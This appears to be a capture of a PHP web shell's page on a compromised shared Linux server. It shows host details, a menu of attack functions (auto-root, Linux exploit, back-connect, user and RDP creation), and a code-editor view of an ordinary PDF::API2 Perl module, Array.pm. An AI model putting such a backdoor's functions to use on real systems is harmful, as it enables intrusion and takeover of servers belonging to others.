Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
PDF /
API2 /
Basic /
PDF /
[ HOME SHELL ]
Name
Size
Permission
Action
Filter
[ DIR ]
drwxr-xr-x
Array.pm
2.5
KB
-rw-r--r--
Bool.pm
798
B
-rw-r--r--
Dict.pm
9.69
KB
-rw-r--r--
File.pm
47.38
KB
-rw-r--r--
Filter.pm
3.11
KB
-rw-r--r--
Literal.pm
2.14
KB
-rw-r--r--
Name.pm
2.68
KB
-rw-r--r--
Null.pm
1.27
KB
-rw-r--r--
Number.pm
750
B
-rw-r--r--
Objind.pm
7.27
KB
-rw-r--r--
Page.pm
2.1
KB
-rw-r--r--
Pages.pm
10.23
KB
-rw-r--r--
String.pm
5
KB
-rw-r--r--
Utils.pm
2.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Array.pm
# Code in the PDF::API2::Basic::PDF namespace was originally copied from the # Text::PDF distribution. # # Copyright Martin Hosken <Martin_Hosken@sil.org> # # Martin Hosken's code may be used under the terms of the MIT license. # Subsequent versions of the code have the same license as PDF::API2. package PDF::API2::Basic::PDF::Array; use base 'PDF::API2::Basic::PDF::Objind'; use strict; use warnings; our $VERSION = '2.043'; # VERSION =head1 NAME PDF::API2::Basic::PDF::Array - Low-level PDF array object =head1 METHODS =head2 PDF::Array->new($parent, @values) Creates an array with the given storage parent and an optional list of values to initialise the array with. =cut sub new { my ($class, @values) = @_; my $self = {}; $self->{' val'} = [@values]; $self->{' realised'} = 1; bless $self, $class; return $self; } =head2 $a->outobjdeep($fh, $pdf) Outputs an array as a PDF array to the given filehandle. =cut sub outobjdeep { my ($self, $fh, $pdf) = @_; $fh->print('[ '); foreach my $obj (@{$self->{' val'}}) { $obj->outobj($fh, $pdf); $fh->print(' '); } $fh->print(']'); } =head2 $a->elements() Returns the contents of the array. =cut sub elementsof { return elements(@_) } sub elements { my $self = shift(); return @{$self->{' val'}}; } =head2 $a->add_elements(@elements) Appends the given elements to the array. An element is only added if it is defined. =cut sub add_elements { my $self = shift(); foreach my $element (@_) { next unless defined $element; push @{$self->{' val'}}, $element; } return $self; } =head2 $a->remove_element($element) Removes all occurrences of an element from an array. =cut sub removeobj { return remove_element(@_) } sub remove_element { my ($self, $element) = @_; $self->{' val'} = [ grep { $_ ne $element } @{$self->{' val'}} ]; } =head2 $a->val() Returns a reference to the contents of the array. =cut sub val { return $_[0]->{' val'}; } =head2 $a->copy($pdf) Copies the array with deep-copy on elements which are not full PDF objects with respect to a particular $pdf output context =cut sub copy { my ($self, $pdf) = @_; my $res = $self->SUPER::copy($pdf); $res->{' val'} = []; foreach my $e (@{$self->{' val'}}) { if (ref($e) and $e->can('is_obj') and not $e->is_obj($pdf)) { push(@{$res->{' val'}}, $e->copy($pdf)); } else { push(@{$res->{' val'}}, $e); } } return $res; } 1;
Close